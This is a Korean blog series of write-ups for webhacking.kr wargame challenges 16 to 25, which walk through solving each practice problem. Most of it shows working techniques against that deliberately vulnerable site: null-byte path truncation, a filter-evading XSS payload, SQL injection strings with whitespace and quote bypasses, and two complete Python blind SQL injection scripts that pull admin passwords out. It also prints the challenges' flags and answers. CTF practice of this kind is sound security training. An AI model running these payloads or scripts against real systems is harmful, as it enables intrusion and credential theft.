25번 문제를 접속하면 무슨 문제인지 바로 알 수 있을 것이다.



주소를 먼저 보면 file이라는 이름의 파라미터 값으로 hello를 넘겨준다.


어떤식으로 코딩을 했는지 조금 생각해보면 file로 받은 변수에 + ".txt"를 붙여주고 파일을 읽는 것 같다.


출제자의 의도는 password.php 파일을 읽으라는 것 같다.


file에 password.php를 넣어보면 역시 예상한데로 password.php.txt가 되는 것 같다.



password.php.txt라는 파일이 없어서 그런지 default로 있는 hello.txt를 계속 읽어주는 것 같다.


그렇다면 문제를 어떻게 풀어야 하는가?




php의 경우 c언어를 기반으로한 언어이기 때문에 문자열을 다룰때 몇몇 함수에서 널바이트에 영향을 많이 받는다.


아마 널바이트에 영향을 받는 함수를 사용 했을것이고 password.php%00을 넣어줌으로써 문자열의 끝을 알려주고 뒤에 ".txt"는 무시된다.


따라서 password.php를 읽어 볼 수 있다.



끝!


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 27번  (0) 2016.11.21
webhacking.kr 26번  (0) 2016.11.20
webhacking.kr 25번  (0) 2016.11.20
webhacking.kr 24번  (0) 2016.11.19
webhacking.kr 23번  (0) 2016.11.19
webhacking.kr 22번  (1) 2016.11.18

24번 문제에 접속하면 아래와 같이 ip와 User-Agent값이 나오면서 IP가 틀렸다고 한다.



HTML 소스보기를 통해서 더 자세한 정보가 있을까 살펴봤다.



index.phps가 주석으로 써저있다.


php 소스를 확인할 수 있다는 뜻이다.


소스를 확인해보면



ip는 쿠키에 저장되고 쿠키에 저장된 ip를 가져와서 3번의 str_replace를 거치고 127.0.0.1이면 문제가 풀리는 것 같다.


php에서의 str_replace는 replaceALL과 다르게 str_replace 한 결과에 대해서는 또 다시 replace를 수행하지 않는다.


따라서 str_replace의 결과를 127.0.0.1과 같이 아래의 방법으로 만들 수 있다.


1211227.77..0.00..0.00..1 -> 127.0.0.1


위와 같이 쿠키를 등록해주고 새로고침 하면 문제가 풀린다.



끝!



'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 26번  (0) 2016.11.20
webhacking.kr 25번  (0) 2016.11.20
webhacking.kr 24번  (0) 2016.11.19
webhacking.kr 23번  (0) 2016.11.19
webhacking.kr 22번  (1) 2016.11.18
webhacking.kr 21번  (0) 2016.11.18

23번 문제를 접속하면 아래와 같이 XSS 공격을 하는 문제 같습니다.



분명 필터링으로 한번에 안될 것 같음으로 <script> 먼저 넣어본다.



역시나 no hack 이다.


script를 대문자를 섞어서 ScRipT를 넣어본다.



이번에도 no hack 이다.


문자 사이사이에 %00을 넣어서 우회하는 방법을 사용했다.



이번엔 성공인거 같다.


따라서


<s%00c%00r%00i%00p%00t>a%00l%00e%00r%00t%00(1);</s%00c%00r%00i%00p%00t>


을 code로 보내주면 문제가 아래처럼 풀린다.



끝!

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 25번  (0) 2016.11.20
webhacking.kr 24번  (0) 2016.11.19
webhacking.kr 23번  (0) 2016.11.19
webhacking.kr 22번  (1) 2016.11.18
webhacking.kr 21번  (0) 2016.11.18
webhacking.kr 20번  (0) 2016.11.17

22번 문제를 접속하면 아래와 같이 로그인과 회원가입, 힌트가 주어집니다.



22번 문제를 다시 풀면서 webhacking.kr의 간단한 취약점을 발견 했는데 해당 취약점은 처리가 되면 따로 작성하도록 하겠습니다.


22번 제는 로그인을 하면 id와 pw를 출력 해주고 admin인 결구 Auth Key를 뿌려주는 것 같습니다.


우선 guest/guest 로 회원가입을 해봅시다.


회원가입에 성공 한 후 로그인을 하면 아래와 같은 화면을 볼 수 있습니다.



id와 pw를 뿌려주는데 user key부분을 보면 제가 입력한 패스워드랑 다르네요.


32글자이고 hash 처럼 생긴것이 md5 해쉬 같아서 구글에 그대로 검색 해보았습니다.



역시 md5가 맞았으며 guestzombie를 md5한 결과 인 것을 확인 할 수 있습니다.


아마 회원가입을 할때 입력한 비밀번호 + 'zombie' 값을 md5한 것 같네요.


이 처럼 뒤나 앞에 특정 단어를 salt라고 합니다.


이제 admin으로 로그인하려면 admin 계정의 비밀번호를 알아야 하는데 비밀번호 해쉬가 주어진 걸 보니 데이터베이스에서 가져오라는 것 같네요.


SQL Injection을 해야할 것 같네요.


로그인 했을 때 ID를 출력해주므로 Union 쿼리를 생각할 수 있지만 필터링에 사용할 수 없습니다.


그렇다면 Blind Injection을 통해서 admin의 비밀번호를 알아내는 방법 밖에는 없겠네요.


우선 Blinj Injection이 되는지 아래와 같은 쿼리를 넣어 봅시다.

(비밀번호는 아무거나 넣었습니다.)



admin' and 1-- 를 아이디로 넣었을 때 Wrong password! 라고 뜨네요.



아래와 같이 admin' and 0-- 을 아이디로 넣어 봅시다.



admin' and 0-- 을 넣었을 때는 Wrong!이라고 뜨네요.



이 처럼 결과가 다르니 Blind 기반의 SQL Injection을 할 수 있겠네요.


어떤 필터링이 있을지 항상 사용하는 함수들을 넣어서 사용 여부 또한 알아 봅시다.


이번 문제도 mid, lpad, bin, ord 함수에 대한 필터링은 없는 것을 확인 할 수 있었습니다.


따라서 아래와 같은 python 스크립트를 사용하여 admin의 비밀번호를 알 수 있습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import urllib, urllib2, re
 
result = str()
subqry = "pw"
 
for i in range(133):
    temp = "0b0"
    for j in range(29):
        param = {'id':"admin' and (mid(lpad(bin(ord(mid((" + subqry + ")," + str(i) + ",1))),8,0)," + str(j) + ",1))-- ",'pw':'jeong.su'}
        header = {'Cookie':'PHPSESSID=jeong0su'}
 
        req = urllib2.Request('http://webhacking.kr/challenge/bonus/bonus-2/index.php', urllib.urlencode(param), header)
        res = urllib2.urlopen(req)
 
        if re.findall("Wrong password!", res.read()):
            temp += "1"
        else:
            temp += "0"
 
    result += chr(int(temp, 2))
    print result
 
# result: 2a93a7cea083c6e9e02c97ec5a5d715a


결과는 2a93a7cea083c6e9e02c97ec5a5d715a로 아까와 마찬가지로 구글에 검색을 해봅시다.



rainbowzombie를 md5 한 값이 admin의 pw입니다.


zombie는 salt값이기 때문에 admin / rainbow를 넣고 로그인을 해봅시다.



위와 같이 admin으로 로그인이 되면서 문제가 풀렸네요.


끝!

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 24번  (0) 2016.11.19
webhacking.kr 23번  (0) 2016.11.19
webhacking.kr 22번  (1) 2016.11.18
webhacking.kr 21번  (0) 2016.11.18
webhacking.kr 20번  (0) 2016.11.17
webhacking.kr 19번  (0) 2016.11.17
  1. Rap1er 2018.09.11 11:42

    관리자의 승인을 기다리고 있는 댓글입니다

21번 문제를 접속하면 아래와 같이 어떤 문제인지 한 번에 알 수 있습니다.



Blind SQL Injection을 하라고 하네요.


우선 1, 0 값을 넣었을 때 어떻게 다른지 각각 넣어서 확인해봅시다.


우선 값을 제출하면 no, id, pw 3개의 인자가 GET 방식으로 전달이 되네요.


id, pw는 input text가 없는데 어떻게 넘어 갔을까요?


소스 보기를 했더니 hidden type으로 들어가 있네요.


no에서 Blind SQL Injection이 된다고 했으니 우선 (1)을 넣어 보겠습니다.



예상대로 True 라는 결과 값이 나옵니다.


(0)을 넣으면 False가 뜨겠죠? 한번 해보겠습니다.



그리고 필터링 여부를 확인하기 위해 union 값을 넣었는데 역시 필터링을 하고 있습니다.



위와 같이 no hack이라고 뜨네요.


그럼 문제를 풀기 위해선 적절한 필터링 우회를 하고 python script를 작성하면 풀리겠습니다.


항상 사용하는 스크립트에서 사용하는 함수인 mid, lpad, bin, ord 함수 모두 필터링에 걸리지 않음으로 그대로 사용해서 아래와 같이 작성해 줍니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import urllib2, re
 
result = str()
subqry = "pw"
 
for i in range(120):
    temp = "0b0"
    for j in range(29):
        param = "(mid(lpad(bin(ord(mid((" + subqry + ")," + str(i) + ",1))),8,0)," + str(j) + ",1))"
        header = {'Cookie':'PHPSESSID=jeong0su'}
 
        req = urllib2.Request('http://webhacking.kr/challenge/bonus/bonus-1/index.php?no='+param+'&id=&pw=', headers=header)
        res = urllib2.urlopen(req)
 
        if re.findall("True", res.read()):
            temp += "1"
        else:
            temp += "0"
 
    result += chr(int(temp, 2))
    print result
 
# result: guest


이상하게도 결과가 guest라고 나옵니다.


admin의 비밀번호를 가져오지 못하는 것이죠.


따라서 서브쿼리를 아래와 같이 작성해 줄 수도 있습니다.


subqry = "select pw from table_name where id='admin'"


하지만 table_name을 알 수 있는 방법이 없네요


그래서 테이블 구조와 row를 추측해보았습니다.



no가 2까지 있다는 것을 추측할 수 있는 근거는 no에 3을 넣었을 때 False값이 리턴됩니다.


따라서 no=2 and ({blind_injection_query}) 를 통해서 no가 2일 때의 row을 Blind Injection을 통해서 가져올 수 있습니다.


Python Script를 아래와 같이 다시 고쳐줍니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import urllib2, re
 
result = str()
subqry = "pw"
 
for i in range(120):
    temp = "0b0"
    for j in range(29):
        param = "(mid(lpad(bin(ord(mid((" + subqry + ")," + str(i) + ",1))),8,0)," + str(j) + ",1))"
        header = {'Cookie':'PHPSESSID=jeong0su'}
 
        req = urllib2.Request('http://webhacking.kr/challenge/bonus/bonus-1/index.php?no=2%20and%20'+param+'&id=&pw=', headers=header)
        res = urllib2.urlopen(req)
 
        if re.findall("True", res.read()):
            temp += "1"
        else:
            temp += "0"
 
    result += chr(int(temp, 2))
    print result
 
# result: blindsqlinjectionkk


따라서 21번 문제의 Auth Key(Flag)는 admin의 pw가 되겠습니다.


끝!

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 23번  (0) 2016.11.19
webhacking.kr 22번  (1) 2016.11.18
webhacking.kr 21번  (0) 2016.11.18
webhacking.kr 20번  (0) 2016.11.17
webhacking.kr 19번  (0) 2016.11.17
webhacking.kr 18번  (0) 2016.11.16

20번 문제를 접속하면 아래와 같은 화면이 뜬다.



이 문제는 프로그래밍을 하지말고 자바스크립트 문제라고 한다.


time limit라고 되어 있는 것을 보니 제한 시간 안에  닉네임과 코멘트, 코드를 써야하는 것 같다.


HTML 소스를 보고 javascript console을 사용하면 금방 풀 수 있을 것 같다.



HTML 소스 코드를 확인하니 친절 하게도 사용할 내용들을 ck 함수에서 알려주고 있다.


lv5frm.id.value = "jeong.su";

lv5frm.cmt.value = "hello world~";

lv5frm.hack.value = lv5frm.attackme.value;

lv5frm.submit();


4줄을 javascript console에 아래와 같이 넣어주고 실행 해준다.



2초의 제한 시간 때문에 새로고침 하고 2초안에 위 작업을 반복해주면 풀린다.


끝!

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 22번  (1) 2016.11.18
webhacking.kr 21번  (0) 2016.11.18
webhacking.kr 20번  (0) 2016.11.17
webhacking.kr 19번  (0) 2016.11.17
webhacking.kr 18번  (0) 2016.11.16
webhacking.kr 17번  (0) 2016.11.16

19번 문제를 접속하면 id를 입력 받는 것이 하나 나온다.



제출을 누르면



GET 방식의 id라는 파라미터로 입력한 값을 전달한다.


admin으로 로그인을 하는 문제 같다.


우선 다른 아이디로도 접속을 해보자.


다른 아이디로 로그인 한 결과



해더를 수정할 수 없다는 error 메세지가 나온다.


그렇다 문제는 망가졌다.


문제가 복구 되면 다시 풀어 봐야겠다.


끝!

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 21번  (0) 2016.11.18
webhacking.kr 20번  (0) 2016.11.17
webhacking.kr 19번  (0) 2016.11.17
webhacking.kr 18번  (0) 2016.11.16
webhacking.kr 17번  (0) 2016.11.16
webhacking.kr 16번  (0) 2016.11.15

18번 문제를 접속하면 아래와 같이 SQL Injection 문제임을 확인 할 수 있다.



index.phps 도 주어졌으니 index.php의 소스를 확인 했다.



내가 알기론 webhacking,kr에는 magic_quotes_gpc가 기본적으로 켜저있다.


하지만 이 문제의 경우 no=$_GET[no] 와 같이 SQL 쿼리문에 쿼터를 사용하지 않고 바로 input 값을 넣어주기 때문에 인젝션이 가능하다.


문제는 id가 admin인 경우에 풀리는 것 같다.


따라서 0 or id='admin'이라는 값을 넣어주면 전체 쿼리는


select id from challenge18_table where id='guest' and no=0 or id='admin'


으로 id가 admin인 row가 리턴될 것 이다.



하지만 여기서 2가지 문제가 있다.


첫 번째로 띄어쓰기(스페이스바)를 필터링 하기 때문에 %20을 %0a로 우회해야 한다.


두 번째로 쿼터를 사용할 수 없다는 것이다.

따라서 admin을 hex값으로 encodeing하여 mysql 쿼리문으로 넘겨주는 방법으로 우회가 가능하다.




하지만 0x를 필터링 하기 때문에 다른 방법을 사용해야한다.


admin을 hex값이 아닌 bin값으로 표현 하는 것이다.



위와 같이 admin을 한글자씩 bin값을 구해서 이어 붙이면 0110000101100100011011010110100101101110값이 나온다.



mysql에서도 정상적으로 bin값들을 문자열으로 인식한다.


따라서 아래와 같이 no값을 0%0aor%0aid=0b0110000101100100011011010110100101101110 로 보내주면 문제를 풀 수 있다.



끝!

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 20번  (0) 2016.11.17
webhacking.kr 19번  (0) 2016.11.17
webhacking.kr 18번  (0) 2016.11.16
webhacking.kr 17번  (0) 2016.11.16
webhacking.kr 16번  (0) 2016.11.15
webhacking.kr 15번  (0) 2016.11.15

17번 문제를 접속하면 아래와 같이 input text에 값을 넣고 check라는 버튼이 하나 있다.



아무것도 알 수 없으니 HTML 소스보기를 해봤다.



[line 21]과 같이 input text로 입력한 값이 unlock 값과 같으면 Auth Key를 출력해주는 문제이다.


unlock 값을 알기 위해서 아래와 같이 javascript console을 사용하면 된다.


혹은



따라서 input text에 unlock값인 9997809307을 넣으면 아래와 같이 Auth Key를 구할 수 있다.



끝!


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 19번  (0) 2016.11.17
webhacking.kr 18번  (0) 2016.11.16
webhacking.kr 17번  (0) 2016.11.16
webhacking.kr 16번  (0) 2016.11.15
webhacking.kr 15번  (0) 2016.11.15
webhacking.kr 14번  (0) 2016.11.14

16번 문제를 접속해서 보면 아래와 같이 별이 3개 있다.



별에 마우스를 가져가니 별이 1개가 사라졌다.



javascript onmouseover event를 사용한 것 같다.


소스보기를 통해서 자세히 분석을 해보자.


소스 보기한 결과 수상해 보이는 점이 [line 17] 일때 특정 keyCode가 들어 왔을 때 location.href를 사용한다는 것이다.


location.href는 다른 페이지로 이동할 때 사용한다.


따라서 아마 Auth Key가 출력되는 페이지로 이동해주려나 싶어서 어떤 조건일때 인지 봤다.


event.keyCode는 키가 눌렸을때 키보드 키마다 고유 키 값이 있다


그 키 값이 keyCode에 담긴다.


 keyCode를 검색하기 전에 간단하게 아래와 같이 문제를 해결 할 수 있다.